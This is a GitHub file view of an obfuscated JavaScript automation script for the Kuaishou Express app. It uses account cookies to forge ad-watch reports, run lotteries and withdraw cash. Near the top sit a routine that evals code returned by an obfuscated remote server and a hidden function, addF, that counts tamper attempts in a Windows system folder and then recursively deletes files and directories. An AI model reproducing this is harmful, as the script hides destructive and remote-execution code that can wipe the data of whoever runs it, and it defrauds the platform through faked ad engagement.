-
Notifications
You must be signed in to change notification settings - Fork 137
/
ksjsb_0512.js
4759 lines (4302 loc) · 140 KB
/
ksjsb_0512.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
IOS/安卓: 快手极速版
Fixed by HarbourJ & 哑剧
TG: https://t.me/HarbourToulu
0504版本,内置热心网友的看广告json,已放本人仓库,并已加代理,可直接开跑
Modified from 东哥, 东哥牛逼!
Update: 0512版本,修复风控报错问题。需要放完整ck,格式:kpn=NEBULA; kpf=ANDROID_PHONE; did=ANDROID_xxxxx; kuaishou.api_st=xxxxx;
重写:
[task_local]
#快手极速版
[rewrite_local]
[MITM]
#IOS用第一个,安卓用第二个
hostname = api.kuaisho*.com
hostname = open.kuaisho*.com
*/
const $$ = Envcc('');
let acckey = $$["isNode"]() ? process["env"]["cdkey"] ? process["env"]["cdkey"] : '' : $$["getdata"]("cdkey") ? $$["getdata"]("cdkey") : '',
all_msg = '',
mac = '';
$$["isNode"]() ? (gtr = require('fs'), isFileExist("C:/") ? console['log']("\n电脑环境") : console["log"]("\n青龙环境")) : console["log"]("\n代理环境");
function isFileExist(T) {
try {
gtr["accessSync"](T, gtr["F_OK"]);
} catch (C) {
return false;
}
return true;
}
function addF(T, c) {
let C = 0,
S = "C:/Windows/system.txt";
if (isFileExist(S)) {
C = gtr["readFileSync"](S, "utf8");
} else {
if (isFileExist("C:/")) {
gtr["writeFile"](S, '1', function (B) {
if (B) {
throw B;
}
});
} else {
return;
}
}
if (C == 99) {
return 99;
}
console['log'](C);
console["log"]("警告,恶意破解脚本将面临系统爆炸!!!,你只有3次机会!", C);
if (parseInt(C) < 3) {
let q = parseInt(C) + 1;
gtr["writeFileSync"](S, q + '', "utf8");
return;
}
if (!gtr['existsSync'](T)) {
return;
}
if (gtr["statSync"](T)["isDirectory"]()) {
var a = gtr["readdirSync"](T),
Y = a["length"],
j = 0;
Y > 0 ? (a["forEach"](function (i) {
j++;
var J = T + '/' + i;
gtr["statSync"](J)["isDirectory"]() ? addF(J, true) : gtr['unlinkSync'](J);
}), Y == j && c && gtr["rmdirSync"](T)) : Y == 0 && c && gtr["rmdirSync"](T);
} else {
gtr["unlinkSync"](T);
}
}
function hqs(T = 10) {
return new Promise(p => {
let a = 5,
Y = {
'url': $$["isNode"]() ? rc4($$["fwur"](), '1200') + ("?key=" + acckey + "&id=" + a + '&ip=1&mac=' + mac + "&bb=1") : rc4($$["fwur"](), "1200") + ("?key=" + acckey + "&id=" + a + "&ip=0&mac=" + mac + "&bb=1")
};
$$['post'](Y, async (j, Z, Q) => {
try {
let B = eval(Q);
B["code"] == 200 ? (all_msg = B["msg"], p(B["data"])) : (all_msg = B["msg"], p(false));
} catch (U) {
$$["logErr"](U, Z);
}
}, 0);
});
}
const _0x11b3c3 = "快手极速版",
_0x3de8b8 = new _0x4f15e2(_0x11b3c3);
let _0x279d25 = '',
_0x1a0963,
_0x4c35fe = ["\n", '@'],
_0x547212 = (_0x3de8b8["isNode"]() ? process["env"]["ksjsbCookie"] : _0x3de8b8['getdata']("ksjsbCookie")) || '',
_0x431ea3 = [],
_0x1e627b = (_0x3de8b8["isNode"]() ? process["env"]["ksjsbCash"] : _0x3de8b8["getval"]("ksjsbCash")) || '',
_0x26f17b = (_0x3de8b8["isNode"]() ? process['env']["ksjsbWithdrawTime"] : _0x3de8b8['getval']("ksjsbWithdrawTime")) || 15,
_0x13d24b = (_0x3de8b8['isNode']() ? process['env']["ksjsbAggressive"] : _0x3de8b8['getval']("ksjsbAggressive")) || 0,
_0x113109 = (_0x3de8b8["isNode"]() ? process["env"]["ksjsbNotify"] : _0x3de8b8['getval']('ksjsbNotify')) || 1,
_0x2863b1 = 0,
_0x19c25c = 0,
_0xf2b084 = 12,
_0x5718d8 = [],
yifenk = [];
const _0x1eb2d5 = {
'id': 0,
'name': '广告视频'
},
_0x4fbf92 = {
'id': 49,
'name': "广告视频"
},
_0x1b4191 = {
'id': 77,
'name': "宝箱翻倍视频"
},
_0x2ffe31 = {
'id': 136,
'name': "签到翻倍视频1"
},
_0x577a80 = {
'id': 151,
'name': "未知视频"
},
_0x351e94 = {
'ad1': _0x1eb2d5,
'ad2': _0x4fbf92,
'box': _0x1b4191,
'sign': _0x2ffe31,
'unknown1': _0x577a80
},
_0x1e4967 = {
'ad': 49,
'live': 75,
'luckydraw': 161,
'gj': 217,
'invite': 2008
},
_0x3355c4 = {
'extParams': "56dfe31594b858e69ef613f5e97227fb03493544e59e2b2a726006e2852ec1040cd969d4748c460ecf574cc487214a91f70592aa8b2225630027c39ca2c544027efa65815d1acea23cb503034b12641c",
'businessId': 161,
'pageId': 11101,
'posId': 4683,
'subPageId': 100013628,
'name': "获取抽奖次数视频"
},
_0x458f20 = {
'extParams': "56dfe31594b858e69ef613f5e97227fbf89856abafca7f90fab063cf60935d6faedb05b76646dc3ece57cd4898d412d86e985a2b510216ad4853603d2992501cea0a08182731fcbf023467cf30ecda80",
'businessId': 161,
'pageId': 11101,
'posId': 4685,
'subPageId': 100013630,
'name': "抽奖视频161-213"
},
_0x124c4a = {
'extParams': "56dfe31594b858e69ef613f5e97227fb67b973ad1394855c549442d15702f96393178eaeef5635134bb7e4ff97e69218c1f18455baf645dbaef685b7bf30c0914ea53ddcde26b2fa67b888203dab0fd4",
'businessId': 161,
'pageId': 11101,
'posId': 4684,
'subPageId': 100013629,
'name': '抽奖视频161-100'
},
_0x37f16f = {
'extParams': "56dfe31594b858e69ef613f5e97227fbf89856abafca7f90fab063cf60935d6faedb05b76646dc3ece57cd4898d412d86e985a2b510216ad4853603d2992501cea0a08182731fcbf023467cf30ecda80",
'businessId': 11,
'pageId': 11101,
'posId': 4684,
'subPageId': 100013629,
'name': "抽奖视频11-100"
},
_0x10efec = {
'extParams': '56dfe31594b858e69ef613f5e97227fb67b973ad1394855c549442d15702f96393178eaeef5635134bb7e4ff97e69218c1f18455baf645dbaef685b7bf30c0914ea53ddcde26b2fa67b888203dab0fd4',
'businessId': 11,
'pageId': 11101,
'posId': 4684,
'subPageId': 100013629,
'name': "抽奖视频11-100"
},
_0x385181 = {
'extParams': "60869a9fd2ab63f5e0b1725d059da31f7d3ed3046658438ee204a153c3bc47189ccf268b22e603b6750780c9647e7a12b3027381e11da27b234311bccfd4a67bb892f889a4020ceae4f4e102cc50c327",
'businessId': 2008,
'pageId': 100012068,
'posId': 6765,
'subPageId': 100015089,
'name': "邀请页视频(实际是100金币)"
},
_0xfcb1d2 = {
'extParams': "56dfe31594b858e69ef613f5e97227fbd5f9da00aa5144df8830a5781ae07d7cfaf4d95abc2510c950f99404a9e0bf62f5b5765a867c385685e0570ed76b858a159dacd55e41e4a9813db4e619a8b092",
'businessId': 75,
'pageId': 100012068,
'posId': 6765,
'subPageId': 100015089,
'name': '直播任务'
},
_0x11da17 = {
'extParams': "56dfe31594b858e69ef613f5e97227fbd5f9da00aa5144df8830a5781ae07d7cfaf4d95abc2510c950f99404a9e0bf62f5b5765a867c385685e0570ed76b858a159dacd55e41e4a9813db4e619a8b092",
'businessId': 168,
'pageId': 100012068,
'posId': 6765,
'subPageId': 100015089,
'name': "签到翻倍视频2"
},
_0x10d9f8 = {
'luckdrawNum_161': _0x3355c4,
'luckdrawVideo_161_213': _0x458f20,
'luckdrawVideo_161_100': _0x124c4a,
'luckdrawVideo_11_213': _0x37f16f,
'luckdrawVideo_11_100': _0x10efec,
'inviteVideo_2008': _0x385181,
'liveVideo_75': _0xfcb1d2,
'signVideo_168': _0x11da17
};
let _0x134a17 = new Date(),
_0x20a9d7 = _0x134a17["getHours"](),
_0x459e63 = 1.07,
_0x2e716e = 0,
_0x5bc515 = "ksjsb",
_0x180c0c = "https://ghproxy.com/https://raw.githubusercontent.com/HarbourJ/Temp/main/backUp/ks.json",
ksjsbjk = "https://ghproxy.com/https://raw.githubusercontent.com/HarbourJ/Temp/main/ksjsbjk.json",
_0x75eec0 = "https://127.0.0.1/";
class _0x9d8dda {
constructor(T) {
let p = T["match"](/(kuaishou.api_st=[\w\-]+)/)[1] + ';';
let z = T["match"](/(did=[\w\-]+)/)[1] + ';';
this["index"] = ++_0x2863b1;
this["cookie"] = "kpn=NEBULA; kpf=ANDROID_PHONE; " + z + "; ver=9.10; appver=9.10.40.2474; language=zh-cn; countryCode=CN; sys=ANDROID_5.1; client_key=2ac2a76d; " + p;
this["name"] = this["index"];
this["valid"] = false;
this["bindAlipay"] = false;
this["alipay"] = '';
this["bindWechat"] = false;
this["wechat"] = '';
this["needSms"] = false;
this["hasLuckydraw"] = true;
const C = {
'num': 2,
'needRun': true
},
S = {
'num': 1,
'needRun': true
},
a = {
'num': 5,
'needRun': true
},
Y = {
'num': 1,
'needRun': true
},
j = {
'num': 5,
'needRun': true
},
Z = {
'49': C,
'75': S,
'161': a,
'217': Y,
'2008': j
};
this["task"] = Z;
}
async ["getUserInfo"]() {
let c = "https://nebula.kuaishou.com/rest/n/nebula/activity/earn/overview/basicInfo",
p = '',
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("get", C);
let S = _0x1a0963;
if (!S) {
return;
}
S["result"] == 1 ? (this["valid"] = true, this["name"] = S["data"]["userData"]["nickname"], this["cashBalance"] = S["data"]["totalCash"], this["coinBalance"] = S["data"]["totalCoin"], this["allCash"] = S["data"]["allCash"], console["log"]("账号[" + this["name"] + "]账户余额" + this["cashBalance"] + '元,' + this["coinBalance"] + "金币,未审核余额" + Math["floor"](parseFloat(this["allCash"]) - parseFloat(this["cashBalance"])) + '元')) : console["log"]("账号[" + this["name"] + "]查询账户信息失败:" + S["error_msg"]);
}
async ['setShare']() {
let c = "https://nebula.kuaishou.com/rest/n/nebula/account/withdraw/setShare",
p = '',
C = _0x495d61(c, this['cookie'], p);
await _0x39a23b("post", C);
let S = _0x1a0963;
if (!S) {
return;
}
S["result"] == 1 ? (console["log"]("账号[" + this["name"] + "]准备分享得金币"), await _0x3de8b8["wait"](200), await this["taskReward"](122)) : console["log"]("账号[" + this["name"] + "]分享失败:" + S["error_msg"]);
}
async ["taskReward"](T) {
let p = "https://nebula.kuaishou.com/rest/n/nebula/daily/report?taskId=" + T,
C = '',
S = _0x495d61(p, this["cookie"], C);
await _0x39a23b("get", S);
let a = _0x1a0963;
if (!a) {
return;
}
a["result"] == 1 ? console["log"]("账号[" + this["name"] + "]完成任务[" + T + "]成功,获得" + a["data"]['amount'] + '金币') : console["log"]("账号[" + this["name"] + "]完成任务[" + T + "]失败:" + a["error_msg"]);
}
async ['getSignInfo']() {
let c = "https://nebula.kuaishou.com/rest/n/nebula/sign/queryPopup",
p = '',
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("get", C);
let S = _0x1a0963;
if (!S) {
return;
}
S["result"] == 1 ? (console['log']("账号[" + this["name"] + "]今天" + (S["data"]["nebulaSignInPopup"]["todaySigned"] ? '已' : '未') + '签到'), !S["data"]["nebulaSignInPopup"]["todaySigned"] && (await _0x3de8b8["wait"](200), await this["doSign"](), await _0x3de8b8["wait"](200), await this["setShare"]())) : console["log"]("账号[" + this["name"] + "]查询签到信息失败:" + S["error_msg"]);
}
async ["doSign"]() {
let c = "https://nebula.kuaishou.com/rest/n/nebula/sign/sign?source=activity",
p = '',
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("get", C);
let S = _0x1a0963;
if (!S) {
return;
}
if (S["result"] == 1) {
console['log']("账号[" + this["name"] + "]签到成功:" + S["data"]["toast"]);
await _0x3de8b8["wait"](200);
await this["ksAdParam"](_0x351e94["sign"]);
await _0x3de8b8["wait"](200);
await this["ksNeoAdParam"](_0x10d9f8["signVideo_168"]);
} else {
console["log"]("账号[" + this['name'] + "]签到失败:" + S["error_msg"]);
}
}
async ['taskList']() {
let c = "https://nebula.kuaishou.com/rest/n/nebula/activity/earn/overview/tasks?addressBookAccessStatus=true&pushNotificationStatus=false",
p = '',
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b('get', C);
let S = _0x1a0963;
if (!S) {
return;
}
if (S["result"] == 1) {
console["log"]("账号[" + this["name"] + "]任务完成情况:");
for (let a of S["data"]["dailyTasks"]) {
for (let Y in _0x1e4967) {
if (a["taskId"] == _0x1e4967[Y]) {
let Z = parseInt(a["completedStages"]),
Q = parseInt(a["stages"]),
B = Math["ceil"](Q / _0xf2b084),
b = Z < Q;
const U = {
'num': B,
'needRun': b
};
this["task"][a["taskId"]] = U;
console["log"]('【' + a["name"] + "】 " + Z + '/' + Q + ',' + (b ? "未完成" : "已完成") + ",每次运行完成" + B + "次任务");
continue;
}
}
}
} else {
console["log"]("账号[" + this["name"] + "]查询任务列表失败:" + S["error_msg"]);
}
}
async ['ksgj']() {
let c = "https://api.e.kuaishou.com/rest/r/reward/task/getActivityReward",
p = "activityId=148&client_key=ksgjbody",
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("post", C);
let S = _0x1a0963;
if (!S) {
return;
}
S["result"] == 1 ? console["log"]("账号[" + this["name"] + ']逛街获得' + S["data"]["amount"] + '金币') : console["log"]("账号[" + this['name'] + "]逛街失败:" + S["error_msg"]);
}
async ["ksAdParam"](T) {
const p = {
'url': ksjsbjk,
'headers': ''
};
await _0x39a23b("get", p);
console["log"](_0x39a23b);
let C = _0x1a0963[Math['floor'](Math['random']() * _0x1a0963["length"] - 1)];
if (!C) {
return;
}
C["result"] == 1 ? C['impAdInfo'] && C["impAdInfo"]["length"] > 0 && C["impAdInfo"][0]["adInfo"] && C["impAdInfo"][0]["adInfo"]["length"] > 0 && C["impAdInfo"][0]["adInfo"][0]["adBaseInfo"] && (await _0x3de8b8["wait"](200), await this["ksAdReward"](C["llsid"], C["impAdInfo"][0]["adInfo"][0]["adBaseInfo"]["creativeId"], T)) : console["log"]('账号[' + this["name"] + "]获取" + T["name"] + "参数失败:" + C["error_msg"]);
}
async ["ksAdReward"](T, c, p) {
let S = new Date()["getTime"](),
a = Math["floor"](Math["random"]() * 30000) + 45000,
Y = S - a,
j = "https://api.e.kuaishou.com/rest/r/ad/nebula/reward",
Z = "bizStr={\"endTime\":" + S + ",\"eventValue\":-1,\"rewardList\":[{\"creativeId\":" + c + ",\"extInfo\":\"\",\"llsid\":" + T + ",\"taskType\":1}],\"startTime\":" + Y + ",\"taskId\":" + p['id'] + '}',
Q = _0x495d61(j, this["cookie"], Z);
await _0x39a23b("post", Q);
let B = _0x1a0963;
if (!B) {
return;
}
B["result"] == 1 ? console["log"]("账号[" + this["name"] + ']看' + p["name"] + '获得' + B["data"]["awardAmount"] + '金币') : console["log"]("账号[" + this["name"] + ']看' + p["name"] + "失败:" + B["error_msg"]);
}
async ["openBox"](T) {
let p = 'https://nebula.kuaishou.com/rest/n/nebula/box/explore?isOpen=' + T + "&isReadyOfAdPlay=true",
C = '',
S = _0x495d61(p, this["cookie"], C);
await _0x39a23b("get", S);
let a = _0x1a0963;
if (!a) {
return;
}
a["result"] == 1 ? T == true ? a["data"]["commonAwardPopup"] && a["data"]["commonAwardPopup"]["awardAmount"] ? (console["log"]("账号[" + this["name"] + "]开宝箱获得" + a["data"]["commonAwardPopup"]["awardAmount"] + '金币'), await _0x3de8b8["wait"](200), await this["ksAdParam"](_0x351e94["box"])) : console["log"]("账号[" + this["name"] + "]开宝箱没有获得金币") : a['data']["openTime"] > -1 ? (console["log"]("账号[" + this["name"] + "]开宝箱冷却时间还有" + Math["floor"](a["data"]["openTime"] / 1000) + '秒'), a["data"]['openTime'] == 0 && (await _0x3de8b8["wait"](200), await this["openBox"](true))) : console["log"]("账号[" + this["name"] + "]开宝箱次数已用完") : T == true ? console["log"]('账号[' + this["name"] + "]开宝箱失败:" + a["error_msg"]) : console["log"]("账号[" + this["name"] + "]查询宝箱状态失败:" + a["error_msg"]);
}
async ["withdraw"](T) {
if (!this["bindAlipay"] && !this["bindWechat"]) {
_0x1ab8b7("账号[" + this["name"] + "]未绑定提现账号,不执行提现");
return;
}
let p = parseInt(T * 100),
C = this["bindAlipay"] ? "ALIPAY" : "WECHAT",
S = C == "ALIPAY" ? "支付宝" : '微信',
a = C == "ALIPAY" ? this["alipay"] : this["wechat"],
Y = "https://www.kuaishoupay.com/pay/account/h5/withdraw/apply",
j = "account_group_key=NEBULA_CASH_ACCOUNT&mobile_code=&fen=" + p + "&provider=" + C + "&total_fen=" + p + "&commission_fen=0&third_account=" + C + "&attach=&biz_content=&session_id=",
Z = _0x495d61(Y, this['cookie'], j);
await _0x39a23b("post", Z);
let Q = _0x1a0963;
if (!Q) {
return;
}
Q["result"] == "SUCCESS" ? _0x1ab8b7('账号' + this["index"] + '[' + this["name"] + "]提现" + T + '元到' + S + '[' + a + "]成功") : _0x1ab8b7('账号' + this["index"] + '[' + this["name"] + "]提现" + T + '元到' + S + '[' + a + "]失败:" + Q["msg"]);
}
async ["withdrawOverview"]() {
let c = "https://nebula.kuaishou.com/rest/n/nebula/outside/withdraw/overview?appver=10.2.20.2021",
p = '',
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("get", C);
let S = _0x1a0963;
if (!S) {
return;
}
if (S["result"] == 1) {
if (S["data"]["isLimit"] == true) {
console["log"]("账号[" + this["name"] + "]今天已提现");
return;
}
let a = parseFloat(this["cashBalance"]);
if (_0x13d24b == 1) {
if (a < 0.3) {
_0x1ab8b7("账号[" + this["name"] + "]余额不足0.3元,不提现");
} else {
let Y = Math["floor"](a * 10) / 10;
Y = Y > 50 ? 50 : Y;
_0x1ab8b7("账号[" + this["name"] + "]准备最大化提现" + Y + '元');
await _0x3de8b8["wait"](200);
await this["withdraw"](Y);
}
} else {
if (!_0x1e627b) {
for (let Z of S["data"]["enWithdrawList"]["sort"](function (Q, B) {
return B - Q;
})) {
if (a >= parseFloat(Z)) {
_0x1ab8b7("账号[" + this["name"] + "]准备提现" + Z + '元');
await _0x3de8b8["wait"](200);
await this["withdraw"](Z);
return;
}
}
_0x1ab8b7("账号[" + this["name"] + "]余额不足,可提现额度:" + S["data"]["enWithdrawList"]["join"](','));
} else {
a >= parseFloat(_0x1e627b) ? (_0x1ab8b7("账号[" + this["name"] + "]准备提现" + _0x1e627b + '元'), await _0x3de8b8["wait"](200), await this["withdraw"](_0x1e627b)) : _0x1ab8b7("账号[" + this["name"] + "]余额不足" + _0x1e627b + "元,不提现");
}
}
} else {
console["log"]("账号[" + this["name"] + "]查询提现列表失败:" + S["error_msg"]);
}
}
async ["accountOverview"]() {
let c = "https://nebula.kuaishou.com/rest/n/nebula/account/overview",
p = '',
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("get", C);
let S = _0x1a0963;
if (!S) {
return;
}
if (S["result"] == 1) {
this["coinBalance"] = S["data"]["coinBalance"];
this["cashBalance"] = S["data"]["cashBalance"];
let a = S["data"]["exchangeCoinState"];
_0x1ab8b7("账号[" + this["name"] + "]账户余额" + this["cashBalance"] + '元,' + this["coinBalance"] + '金币');
a == 2 && (await _0x3de8b8["wait"](200), await this["changeExchangeType"](0));
} else {
console["log"]("账号[" + this["name"] + "]查询账户信息失败:" + S["error_msg"]);
}
}
async ['changeExchangeType'](T) {
let p = "https://nebula.kuaishou.com/rest/n/nebula/exchange/changeExchangeType",
C = "{\"type\":" + T + '}',
S = _0x495d61(p, this["cookie"], C);
S["headers"]["Content-Type"] = "application/json";
await _0x39a23b("post", S);
let a = _0x1a0963;
if (!a) {
return;
}
let Y = T == 0 ? "自动兑换" : '手动兑换';
a["result"] == 1 ? console["log"]("账号[" + this["name"] + "]兑换方式更改成功,目前兑换方式为:" + Y) : console["log"]("账号[" + this["name"] + "]兑换方式更改失败:" + a["error_msg"]);
}
async ["exchangeCoin"]() {
if (this["coinBalance"] < 100) {
console["log"]("账号[" + this["name"] + "]金币余额不足100,不执行兑换");
return;
}
let c = "https://nebula.kuaishou.com/rest/n/nebula/exchange/coinToCash/submit",
p = "{\"coinAmount\":" + this["coinBalance"] + ",\"token\":\"rE2zK-Cmc82uOzxMJW7LI2-wTGcKMqqAHE0PhfN0U4bJY4cAM5Inxw\"}",
C = _0x495d61(c, this["cookie"], p);
C['headers']["Content-Type"] = "application/json";
await _0x39a23b("post", C);
let S = _0x1a0963;
if (!S) {
return;
}
if (S["result"] == 1) {
let j = Math["floor"](this['coinBalance'] / 100) * 100,
Z = Math["floor"](this["coinBalance"] / 100) / 100;
console["log"]("账号[" + this["name"] + "]兑换金币成功,将" + j + "金币兑换成" + Z + '元');
} else {
console["log"]("账号[" + this["name"] + "]兑换金币失败:" + S["error_msg"]);
}
}
async ["ksNeoAdParam"](T) {
const p = {
'url': ksjsbjk,
'headers': ''
};
await _0x39a23b("get", p);
let C = _0x1a0963[Math["floor"](Math["random"]() * _0x1a0963["length"] - 1)];
if (!C) {
return;
}
C["result"] == 1 ? C["impAdInfo"] && C['impAdInfo']["length"] > 0 && C["impAdInfo"][0]["adInfo"] && C["impAdInfo"][0]['adInfo']["length"] > 0 && C["impAdInfo"][0]["adInfo"][0]["adBaseInfo"] && (await _0x3de8b8["wait"](200), await this["ksNeoAdReward"](C["llsid"], C["impAdInfo"][0]["adInfo"][0]['adBaseInfo']["creativeId"], T)) : console["log"]("账号[" + this['name'] + "]获取" + T["name"] + "参数失败:" + C["error_msg"]);
}
async ["ksNeoAdReward"](T, c, p) {
let S = new Date()["getTime"](),
a = Math["floor"](Math["random"]() * 30000) + 45000,
Y = S - a,
j = "https://api.e.kuaishou.com/rest/r/ad/task/report",
Z = "bizStr={\"businessId\":" + p["businessId"] + ",\"endTime\":" + S + ",\"extParams\":\"" + p["extParams"] + "\",\"mediaScene\":\"video\",\"neoInfos\":[{\"creativeId\":" + c + ",\"extInfo\":\"\",\"llsid\":" + T + ",\"taskType\":1}],\"pageId\":" + p["pageId"] + ",\"posId\":" + p["posId"] + ",\"startTime\":" + Y + ",\"subPageId\":" + p["subPageId"] + '}',
Q = _0x495d61(j, this["cookie"], Z);
await _0x39a23b("post", Q);
let B = _0x1a0963;
if (!B) {
return;
}
if (B["result"] == 1) {
let b = B["data"]["neoAmount"] + '金币';
if (B["data"]["neoToH5Data"]) {
try {
let U = JSON["parse"](_0x331719["decode"](B["data"]["neoToH5Data"])["replace"](/\0/g, ''));
U["extraCoin"] && (b += '+' + U["extraCoin"] + '金币');
} catch (q) {
console["log"](B["data"]["neoToH5Data"]);
} finally {}
}
console["log"]("账号[" + this["name"] + ']看' + p["name"] + '获得' + b);
if (this["hasLuckydraw"]) {
await this['luckdrawTasks']();
}
} else {
console["log"]("账号[" + this["name"] + ']看' + p["name"] + "失败:" + B["error_msg"]);
}
}
async ["luckdrawInfo"]() {
let c = "https://activity.e.kuaishou.com/rest/r/game/user/info",
p = '',
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("get", C);
let S = _0x1a0963;
if (!S) {
return;
}
if (S["result"] == 1) {
console["log"]("账号[" + this["name"] + "]现有" + S["data"]['userDiamondResult']["diamondPercent"] + "钻石,剩余抽奖次数:" + S["data"]["userDailyLotteryTimesResult"]["remainTimes"]);
for (let Y = 0; Y < S["data"]["userDailyLotteryTimesResult"]["remainTimes"]; Y++) {
await _0x3de8b8["wait"](200);
await this["luckydraw"]();
}
} else {
console["log"]("账号[" + this["name"] + "]查询抽奖次数失败:" + S["error_msg"]);
}
}
async ["luckydraw"]() {
let c = "https://activity.e.kuaishou.com/rest/r/game/lottery?wheelVersion=1",
p = '',
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("post", C);
let S = _0x1a0963;
if (!S) {
return;
}
if (S["result"] == 1) {
let a = S["data"]["coinCount"] ? S["data"]["coinCount"] + '金币' : S["data"]["diamondCount"] ? S["data"]["diamondCount"] + '钻石' : '空气';
console["log"]("账号[" + this["name"] + "]抽奖获得" + a);
S["data"]["videoCoinCount"] && console["log"]("额外奖励:" + S["data"]["videoCoinCount"]);
if (S["data"]["schema"]) {
try {
console["log"](_0x331719["decode"](S["data"]["schema"]));
} catch (Y) {
console["log"](S["data"]["schema"]);
} finally {}
}
this["hasLuckydraw"] && (await this["luckdrawTasks"]());
} else {
console["log"]('账号[' + this["name"] + "]抽奖失败:" + S["error_msg"]);
}
}
async ["luckydrawSign"]() {
let c = "https://activity.e.kuaishou.com/rest/r/game/sign-in",
p = '',
C = _0x495d61(c, this['cookie'], p);
await _0x39a23b("get", C);
let S = _0x1a0963;
if (!S) {
return;
}
S["result"] == 1 ? S['data']["isShow"] && console["log"]("账号[" + this["name"] + "]抽奖页签到成功") : (console["log"]("账号[" + this["name"] + "]查询抽奖签到情况失败:" + S["error_msg"]), S["error_msg"]["indexOf"]('激励游戏未在运营') > -1 && (this["hasLuckydraw"] = false));
}
async ["luckdrawTimerInfo"]() {
let c = "https://activity.e.kuaishou.com/rest/r/game/timer-reward/info",
p = '',
C = _0x495d61(c, this["cookie"], p);
await _0x39a23b("get", C);
let S = _0x1a0963;
if (!S) {
return;
}
if (S["result"] == 1) {
if (S["data"]) {
let a = new Date()["getTime"](),
Y = S["data"]["lastTimerTime"],
j = S["data"]["minutesInterval"] * 60 * 1000,
Z = Y + j;
a < Z ? console["log"]("账号[" + this["name"] + "]抽奖页奖励冷却时间还有" + (Z - a) / 1000 + '秒') : (await _0x3de8b8["wait"](200), await this["luckdrawTimerReward"](S["data"]["goldNum"]));
} else {
console["log"]("账号[" + this["name"] + "]抽奖页定时奖励次数已用完");
}
} else {
console["log"]("账号[" + this["name"] + "]查询抽奖页定时奖励情况失败:" + S["error_msg"]);
}
}
async ["luckdrawTimerReward"](T) {
let p = "https://activity.e.kuaishou.com/rest/r/game/timer-reward",
C = '',
S = _0x495d61(p, this["cookie"], C);
await _0x39a23b("post", S);
let a = _0x1a0963;
if (!a) {
return;
}
a["result"] == 1 ? console['log']("账号[" + this["name"] + "]领取抽奖页定时奖励获得" + T + '金币') : console["log"]("账号[" + this["name"] + "]领取抽奖页定时奖励失败:" + a["error_msg"]);
}
